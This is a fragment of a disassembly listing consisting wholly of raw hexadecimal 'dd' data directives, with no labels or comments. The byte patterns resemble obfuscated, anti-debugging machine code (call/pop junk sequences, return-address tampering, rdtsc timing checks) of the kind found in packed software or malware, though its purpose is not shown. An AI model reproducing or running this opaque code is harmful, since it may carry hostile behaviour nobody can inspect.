		dd 64645C15h, 20C88419h, 4B20D715h, 8371494h, 58A9D715h
		dd 46A9C731h
		dd 0B97BC331h, 80BE7722h, 4AB37EAh, 0C0DFD331h,	0F877D77Fh
		dd 820D716h, 5BE38835h,	604AB9Ch, 5049394h, 8020D70Eh
		dd 0B0E38052h, 49BA2D7Dh, 0F9995761h, 820D71Ch,	0C6350FCBh
		dd 8511E50Fh, 5720BDDCh, 8020D4FDh, 837EF715h, 4545E4Bh
		dd 34645611h, 820CD11h,	0C7769115h, 4F68D239h, 0E88BBC4Dh
		dd 8020D71Ch, 0FCA9C0DBh, 21CD4BA0h, 0C6ABB608h, 0B80B6A98h
		dd 89ADD134h, 4011309h,	278BE2ADh, 95A5E48Dh, 6B26C902h
		dd 75C916DAh, 0FD1120BDh, 152020D4h, 4CD379F7h,	112C6C5Eh
		dd 11206456h, 150220CEh, 0F305E983h, 6AD98BA4h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 892CC357h, 0F14668Bh, 82E9D3BFh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 2CDAC356h, 8B6660F7h, 37BFBFD7h, 0E9614192h,	0Dh, 0F4A0343Ah
		dd 948A9118h, 0A5340DFh, 1850F5Fh, 0FC000000h, 53006A61h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 8EDC67D2h, 0FE937h, 0FE810000h, 0B2E94E2Fh, 1525EACh
		dd 77271214h, 8B0FC395h, 5, 0F85F5060h,	0F8C08B61h, 1D79BD83h
		dd 7500061Eh, 25BD8309h, 61E2Bh, 53501974h, 0B9B8C08Bh
		dd 89000004h, 1E0D1985h, 0A19D8D06h, 0FF0620ACh, 83585BD3h
		dd 1E2B25BDh, 17740006h, 0B9B85350h, 89000004h,	1E0D1985h
		dd 429D8D06h, 0FF0620A9h, 6A585BD3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0DA05C351h
		dd 418ACC01h, 12E985h, 39F80000h, 0C29CD4A8h, 247DCA1Bh
		dd 134EB9F7h, 13389AC3h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0F6C35343h, 0A45B3D9Ah, 60B235B4h, 601FCF80h
		dd 7E9h, 325BC300h, 0B69F8908h,	890Fh, 61610000h, 6AC08Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0DCB955C3h, 0CE9h, 0A2627600h, 68FD1C3Eh, 0A21A5201h
		dd 0C18B4086h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	3FC35747h, 0EA890D1Ah, 0CE86060h, 0D9000000h, 7ADB0CA3h
		dd 0A725E15Ch, 5B3AD3B1h, 830Fh, 89610000h, 1E0279B5h
		dd 0B5316106h, 61E308Dh, 4EBh, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 30D813C3h
		dd 0FB8B66DCh, 19DD858Dh, 0EF81061Eh, 1EA28982h, 0F525050h
		dd 50525031h, 5A310F52h, 8B310F58h, 5A585AF0h, 24048958h
		dd 8EA4D781h, 0B58B1501h, 61E1D2Dh, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 47D2C6C3h
		dd 0BD8BDDCBh, 61E1A49h, 14E9h,	0F928F00h, 411DECAEh, 82531856h
		dd 0CFFC2211h, 4B40A73Eh, 6A006AC7h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0E5DCC353h
		dd 49FB9E8Eh, 0E98276C7h, 12h, 85F3AFA2h, 0FBC4DB06h, 1C22710Fh
		dd 18057CA1h, 8BBF6798h, 8D54B7ABh, 21C82585h, 0C99D8906h
		dd 8B061E1Ah, 5C083F8h,	2DAD8589h, 0E850061Eh, 13h, 1F952C20h
		dd 0C4810095h, 9FBF4DB9h, 6C2A726Ch, 6686F04Fh,	5FC930BEh
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0CE6CC355h, 1980141Fh,	68A80D53h
		dd 13E9h, 2DEBFC00h, 7726A59Ch,	848F31CAh, 0A9F29C24h
		dd 3E34FF5h, 10E8006Ah,	86000000h, 8AC94537h, 0A7CC8CBCh
		dd 988C488Eh, 0F1AB9EBh, 6A5EF8BFh, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 89EFEC40h
		dd 1E169595h, 58D3106h,	29061E04h, 1E00D5B5h, 0ED95FF06h
		dd 66061E21h, 3590F781h, 94B69D8Dh, 6A0621h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0D57299C3h
		dd 8947C36Eh, 1E0599BDh, 19B58B06h, 0FF061E16h,	0C2E681D3h
		dd 0F504D1Bh, 685h, 0A99D2900h,	0FF061E32h, 1E1D9185h
		dd 2800F06h, 8B000000h,	83BF66F0h, 7F5E9BBh, 0E80000h
		dd 5D000000h, 0C82FED81h, 6A0621h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0FE1BBC3h, 686h, 0B9B58B00h
		dd 81061E20h, 1E14EDBDh, 7D006h, 0BB860F00h, 8B000001h
		dd 1E0ED1BDh, 0F59D8B06h, 6A061E07h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 1795C355h
		dd 0B222656h, 0E9E2D070h, 0Bh, 15E65CB1h, 7EF2BBC0h, 81DE7CC4h
		dd 100E3h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 15DAB13Ch, 6670AC4Ch, 9D09F88Bh
		dd 61E0C39h, 850FDB0Bh,	0CCh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0C35646h, 0FF921F1Ch, 0BD33E0E2h
		dd 61E2DE5h, 8E9h, 5A4CFB00h, 622DE9B3h, 26BD8327h, 621C6h
		dd 3C840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 190424h, 50400000h, 0B600B4C3h, 8918A2ACh, 1E12A19Dh
		dd 1DBE6606h, 4D8D297Ah, 0E9061E1Fh, 91h, 1B29B58Bh, 85C7061Eh
		dd 621C626h, 1,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0DCC35343h, 5EE93F6Bh, 60000000h, 0FD0D380h, 282h
		dd 61D98B00h, 0BE8h, 64C7D700h,	66F2D389h, 8834426Dh, 5FF1B70Fh
		dd 0C62685C7h, 621h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 7C9B86C3h, 0B1D94547h
		dd 0F43ACADh, 689h, 498D8900h, 8B061E20h, 0F59D8DF2h, 6A061E07h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 69B6C351h, 53B87838h, 883645A2h, 0BDBD8B56h
		dd 5E061E17h, 0FEFF2381h, 8C66FFFFh, 19B503DBh,	0F6061E16h
		dd 840F04C3h, 3Bh, 0FFFABF0Fh, 1E1A8D95h, 8C0F5006h, 8
		dd 0F525053h, 5F585A31h, 6A240489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 39B4C355h
		dd 0E96C2FACh, 44Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0B2C35343h, 68583492h, 0B04C0292h, 0EE816600h
		dd 70E6C3E5h, 1F55B501h, 8166061Eh, 0E4587FDFh,	14E971h
		dd 6E790000h, 8579F41Fh, 0C5775764h, 9C20AEFBh,	8A86646Eh
		dd 0B60FC3C3h, 57006AD8h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 7184CA50h, 6BAh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0AFABC5A7h, 0B2B82162h, 9E90645h, 0DB000000h, 0CBF04AD2h
		dd 11DE3FE4h, 919D8B60h, 8B061E08h, 1E0F458Dh, 0EE86106h
		dd 8B000000h, 8452F3A6h, 0E6578DB9h, 0FA4E6Eh, 0A803BEBCh
		dd 8B5E7F26h, 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 0E8C1C149h, 0E9BD8B04h, 66061E2Eh
		dd 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0C67AA5C3h, 64746DD8h, 0D82BF38Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 7DC35141h
		dd 1CDCDDEFh, 8BB05C1Bh, 1C8950F2h, 0C9B50324h,	0FF061E25h
		dd 1E14EDB5h, 7DBD8906h, 0BF061E09h, 48ABB856h,	26C195FFh
		dd 9D89061Eh, 61E1259h,	0E791DE81h, 0B05CDFh, 118FBF66h
		dd 6A70E6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 5DB9B4C3h, 9C4C65E5h, 30319589h, 71E4061Eh
		dd 13D9BD8Bh, 613C061Eh, 297830Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0A40F88C3h
		dd 606599A8h, 8BCEB70Fh, 1E0455BDh, 0B5896106h,	61E1A15h
		dd 6AD8B60Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 1381C351h, 9CDC85Ch, 6BAh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 892D06AFh, 6AC38Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0B3CCD8C3h, 66BF663Bh, 0F781665Eh
		dd 0E8C1FC62h, 8B0F04h,	66000000h, 10E8E2F7h, 72000000h
		dd 8A4FA64Fh, 0DA6F7B42h, 4C785CE3h, 0BEC69881h, 0C6C1974h
		dd 0FD82B5Fh, 689h, 0EDBD8B00h,	58061E25h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0BEC35343h, 3E88B867h
		dd 1DA19FAAh, 269B58Bh,	0C4BE061Eh, 2B7B2593h, 86880FD8h
		dd 6A000001h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0FD00C355h, 2785B58Bh,	7B9061Eh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 381DC355h, 4BF913CCh, 0E800C183h
		dd 0Bh,	480425ECh, 952189D2h, 8BC2A0B2h, 0D93B5EF0h, 11F860Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 1960C0C3h, 199DB589h, 8C66061Eh, 0D68166D9h
		dd 9E989B9h, 42000000h,	0CCA2D8C5h, 0FBCA611Dh,	0F04C1F6h
		dd 0B384h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 9907CFBBh, 0A9C3386Ah, 95FF52A4h
		dd 61E1A8Dh, 2890Fh, 0F98B0000h, 50006A5Bh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 85296BA0h
		dd 61E320Dh, 1B66D781h,	0C32B2321h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 77C35747h, 73B01335h, 161CC66h
		dd 1E04B1BDh, 8343D06h,	860F0000h, 20h,	617EBE66h, 40E9h
		dd 10E800h, 83290000h, 0B3BB5F53h, 0DE146D78h, 1AC215D8h
		dd 5EFC3132h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 6C491EC3h, 8B0FA574h, 1,	8BC38BF5h
		dd 56006AD8h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 70CA5410h, 29376319h, 1E045D95h,	5985C706h
		dd 95061E04h, 0E8514399h, 0Fh, 0C9DD8AA0h, 0C63CA572h
		dd 0C932823Ah, 2340AF39h, 1E21A9BDh, 0C08B5E06h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0C6C35141h, 383AF40Ah
		dd 20A1BD89h, 0BD81061Eh, 61E14EDh, 7D0h, 2B850Fh, 85FF0000h
		dd 61E14EDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	49C35646h, 963092F6h, 0BF0FAEE0h, 0EDB5FFFBh, 6A061E14h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 7C07C350h, 60046BB3h, 66DFB70Fh, 4F78D981h
		dd 8DBD8B61h, 0FF061E1Ch, 1E26C195h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0F2BF0F1Ch
		dd 5678B890h, 6E81234h,	6D000000h, 0CD4543F3h, 71B58BC4h
		dd 5E061E20h, 0CFD99D8Dh, 2FE90621h, 6AFFFFF8h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 2C21C350h, 5DB58B24h, 8B061E31h, 52006AC1h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0F1542DF3h
		dd 8BF3152Bh, 4EBh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0E8412BC3h, 8, 4DEA2FDAh
		dd 87116172h, 48D0Fh, 0BE660000h, 895F501Dh, 1E0205BDh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 59960B18h, 434644F2h, 0B1BD2BEEh, 8D061E2Bh
		dd 1E19DD85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 0F08B5787h, 89905090h, 1E07F985h
		dd 6A006A06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 95EFC353h, 0D7816E50h,	0BFC6814h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 32BB00C3h, 83BF6628h, 3A858D23h, 8B0621D2h
		dd 1E2E99B5h, 0E5BD8B06h, 83061E1Ah, 0BD8B05C0h, 61E25C1h
		dd 52505090h, 0A7E3BF66h, 585A310Fh, 56006A90h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0FA74375h
		dd 0F85916Dh, 6AF2B7h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 14C35646h, 0A7F9B793h, 8D891715h, 61E2D0Dh
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 9589E6C3h, 61E0501h, 21ED95FFh, 8DF9061Eh
		dd 2194B69Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 86C9E9A7h, 6AD3FFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0DD2CA8C3h
		dd 0FFE753CBh, 1E1D9185h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0F04B7B8h
		dd 0BCE9FABFh, 0E800000Eh, 0
		dd 44ED815Dh, 6A0621D2h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0BF4EC353h,	194365A1h
		dd 14EDBD81h, 7D0061Eh,	860F0000h, 159h, 2A198589h, 9531061Eh
		dd 61E2DDDh, 226D9D8Bh,	6A061Eh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 221DBFC3h, 0DE44CA10h
		dd 7DB58B48h, 81061E16h, 100E3h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 89A7E0A5h
		dd 1E1D8595h, 0FDB0B06h, 7D85h,	83F98B00h, 21D046BDh, 840F0006h
		dd 4Fh,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h
		dd 0C2C35747h, 0D681189Dh, 23BA9526h, 8E9h, 0BDA6AD00h
		dd 0F73E9F81h, 6870F23h, 0B000000h, 1E2D61B5h, 6AE906h
		dd 800F0000h, 7, 1800Fh, 0C7F80000h, 21D04685h,	106h, 0BDBD8B00h
		dd 0E9061E0Dh, 48h, 359D8B60h, 8A061E20h, 85C761F3h, 621D046h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C1C35646h
		dd 6E292C94h, 519D8960h, 89061E2Fh, 1E0269B5h, 0B58B6106h
		dd 61E2319h, 226D9D8Dh,	70BF061Eh, 81778658h, 0FFFEFF23h
		dd 57006AFFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 293429E2h, 0DB8C66A6h, 12850Fh, 0DE90000h
		dd 7F000000h, 9CCC93BBh, 2ADCE35Ah, 11AE1A96h, 0F04C3F6h
		dd 6C84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 963AB79h,	0F395706h, 830FFBB7h, 6
		dd 2F98589h, 95FF061Eh,	61E1A8Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0C1C35747h,	59DB58Bh, 6650061Eh
		dd 489FE8Bh, 59B52324h,	89061E07h, 1E163D95h, 464E906h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0D897B0C3h, 0C5BFD3A4h, 6A00B073h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0BF48C350h, 6A70E6h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 71E4CFC3h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 78C35343h, 6A767FDDh, 601FBA2Fh
		dd 9380BE8Eh, 0B60F40F6h, 55E681D8h, 0BA56DD2Fh, 6, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 5FC35646h, 0C3AAAA7Bh
		dd 0F133EA3h, 584h, 0DF816600h,	0C38B7297h, 4E8C1F8h, 0FE9h
		dd 213FED00h, 983C57F3h, 0BD2ACD7Bh, 183B4D7Dh,	6AE2F766h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 3152C352h, 1E0C759Dh, 6AD82B06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0ACF4C357h, 0A29F058h, 0F86CC3CDh, 1F95B58Bh, 0F50061Eh
		dd 58Ah, 87D5BF00h, 1C895B03h, 0FA8B6624h, 22859589h, 0B5FF061Eh
		dd 61E14EDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	0ADC35646h, 0FF47A9E4h,	1E26C195h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 0FFB35070h, 4BB4BE66h, 5E5200B0h, 6A70E6h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 95897DC3h
		dd 61E217Dh, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 34D4C0C3h, 0BF665E2Ah, 613CA545h
		dd 274830Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0F8B9A9C3h, 249F0775h, 6890F53h
		dd 1000000h, 1E293585h,	0B60F5E06h, 53006AD8h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0D16931BCh
		dd 10E96212h, 84000000h, 0A9379AB0h, 513BA480h,	1D594BA2h
		dd 0BA3EBAECh, 6, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	0EC35040h, 9E50A51Eh, 66C38B05h, 41D1E781h, 0FBD78166h
		dd 4E8C148h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0D0C35040h, 6AE2F766h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0EA10C351h,	0FC781BC8h
		dd 9589D82Bh, 61E0229h,	51006A58h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0F7836DE1h, 0FD82B4Eh
		dd 16588h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 850F18D7h, 6, 19EDBD8Bh, 7B9061Eh
		dd 0E9000000h, 0Dh, 0E5628B55h,	125AC534h, 5EFECEFDh, 599589CCh
		dd 83061E1Bh, 0D78100C1h, 7C5E31Bh, 860FD93Bh, 10Eh, 8E9h
		dd 0B97C9500h, 861363D5h, 0D98C66FFh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0CAC35242h,	5043298Bh, 0DE8h
		dd 77816500h, 24A44B3Fh, 0B49F573Ch, 8F0FE2C6h,	0
		dd 0B58B5E5Eh, 61E09B5h, 0F04C1F6h, 0B384h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 565F9860h, 12C9BD1Eh, 95FFD78Ah, 61E1A8Dh, 13E9h, 0C1D0A500h
		dd 6226165Ch, 419C6932h, 8E52ADA7h, 3363B50Dh, 53006A5Bh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0B0B313FEh, 0BD89FA53h, 61E0F25h, 280BD681h,	0C32B6CDAh
		dd 2F9B58BEh, 8343D55h,	860F0000h, 30h,	0E9F28B66h, 2Ah
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2CC35343h
		dd 106F1199h, 0B1BD3160h, 61061E1Ch, 0C38BC08Bh, 6AD88Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 14E9EAC3h, 1F000000h, 5696BE6Fh, 6B5ED7D7h, 78AC9441h
		dd 0E9EC1ABCh, 0C7F2FA90h, 1E07F585h, 9EED3506h, 50006A3Ah
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 185A0B5Ch, 71B58B07h, 66061E29h, 54CF681h, 6AC08Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 7E9F7C3h, 3D000000h,	0E778DD73h, 0BD818F73h,	61E14EDh
		dd 7D0h, 30850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 772B0BC3h, 65C2CEB9h
		dd 8B54B8A3h, 0ED85FFFEh, 0F061E14h, 0B5FFF7B7h, 61E14EDh
		dd 0CE9h, 49881900h, 589A6326h,	1337B4DEh, 0C195FFBAh
		dd 6A061E26h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 8537C351h, 0E8C1652h, 81AE8B31h
		dd 425128F6h, 3FC78137h, 907D1FA5h, 50006A40h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0BCE09465h
		dd 451B58Bh, 0BD83061Eh, 61E1DB1h, 0B9840F00h, 0F000000h
		dd 0CE9F0BFh, 0B3000000h, 0EE2793C4h, 0D44CBDB3h, 83732D60h
		dd 1E18D1BDh, 840F0006h, 98h, 8E9h, 3AB9CB00h, 0E549398Bh
		dd 0B195FFA9h, 6A061E1Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0B7FC357h, 61840FC0h
		dd 0F8000000h, 8DF88B66h, 1E4CB88Dh, 46BE6606h,	5B851h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0B4753FC3h, 662C96E4h, 0E1FFFE8Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0B7C35242h, 68F0Fh
		dd 0B58B0000h, 61E3241h, 2D1BD83h, 0F00061Eh, 5C884h, 0FE900h
		dd 0FCE50000h, 2A4253D8h, 19FEE3DCh, 629DBC31h,	0D1BD83B7h
		dd 61E18h, 5A7840Fh, 0BD290000h, 61E31EDh, 798D8Dh, 6A061Eh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0A2EFDCC3h, 1C75189h, 44B27C84h, 1981B533h, 181061Eh
		dd 1499CFCBh, 0ED9B589h, 41C7061Eh, 706B3404h, 57006ACEh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 81DFD97Bh, 9FADDFCFh, 441816Fh, 31D6D710h, 6AFAB70Fh
		dd 11E800h, 59760000h, 0E6B63A12h, 8D19A2DFh, 2EA2F237h
		dd 665F317Ah, 28B4C681h, 79858D5Fh, 6A061E00h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 52D1C352h, 5D99704Ah, 484ADFBEh, 0AE85042h, 51000000h
		dd 7DBAC554h, 0F5E53D4h, 5FFE8B1Ah, 6A240489h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 90B8C351h, 425B7393h, 0CADEB662h, 2D195FFh, 9509061Eh
		dd 61E1C3Dh, 798D8Dh, 850F061Eh, 6, 1D5D9D29h, 1C7061Eh
		dd 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0F0C35242h
		dd 0A5952946h, 0C7061E12h, 441h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 8B19C8C3h
		dd 2BDC7256h, 5860Fh, 88BE0000h, 0E822B2CFh, 13h, 7B7E93ADh
		dd 0CAF2AFBBh, 124141AEh, 320E0FF2h, 89B8F71Dh,	1E2E1585h
		dd 0C00B5E06h, 63840Fh,	85890000h, 61E18C9h, 4CB88D8Dh
		dd 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 81CBFBC3h, 3F2FD59Dh, 8A0F4773h, 5, 0E8B049BEh
		dd 5B821h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0E1FFFEC3h, 1C393BBFh, 798D8D4Eh
		dd 0C7061E00h, 0AA727C01h, 39858944h, 81061E2Ah, 99CFCB01h
		dd 0DE914h, 0E9B90000h,	0E06C55BBh, 0EFC72824h,	0C7127BA7h
		dd 753C0441h, 6ACE78h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 1D8745C3h, 0DA6FDFAh, 44181DDh
		dd 31D6D710h, 24DBD8Bh,	6A061Eh, 0E852006Ah, 3,	5AC35A20h
		dd 4245489h, 4244481h, 15h, 53C35242h, 0FEB70F37h, 79858Dh
		dd 6A061Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 21F666C3h, 46834684h, 0F88B5040h,	6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 659BC355h, 0BD8BBEE2h, 61E1705h, 3045BD8Bh
		dd 95FF061Eh, 61E02D1h,	10E960h, 0F0C20000h, 7D309FB3h
		dd 0BAE18B82h, 4CCD5DD1h, 8D619AC4h, 1E00798Dh,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0B56B026Bh, 0BE66DAF1h, 1C79588h, 0
		dd 0C7FEBF0Fh, 441h, 0EE810000h, 37577D1h, 0BF3BF0Fh, 89840FC0h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 8D02C352h, 1E4CB88Dh, 5B806h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0BD8B23C3h, 61E09E9h, 6AE1FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0EF3682C3h
		dd 0F0DEBC1Ch, 11E9h, 0B87D300h, 0EA722CE7h, 8B4FAD12h
		dd 1AEDD77Ch, 0BD893D93h, 61E1255h, 798D8Dh, 8589061Eh
		dd 61E1809h, 5800Fh, 81660000h,	0C7228EF7h, 0CA95A501h
		dd 53006A54h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8138C76Bh, 99CFCB01h, 51006A14h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0E837D3DCh
		dd 8BE28CCAh, 1E1559BDh, 0CE906h, 97C40000h, 1C41A37Ch
		dd 3222778Eh, 41C7E429h, 5F596904h, 55006ACEh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0C1E53180h
		dd 31D3211Fh, 1E2C919Dh, 4418106h, 31D6D710h, 7E956h, 0FAD0000h
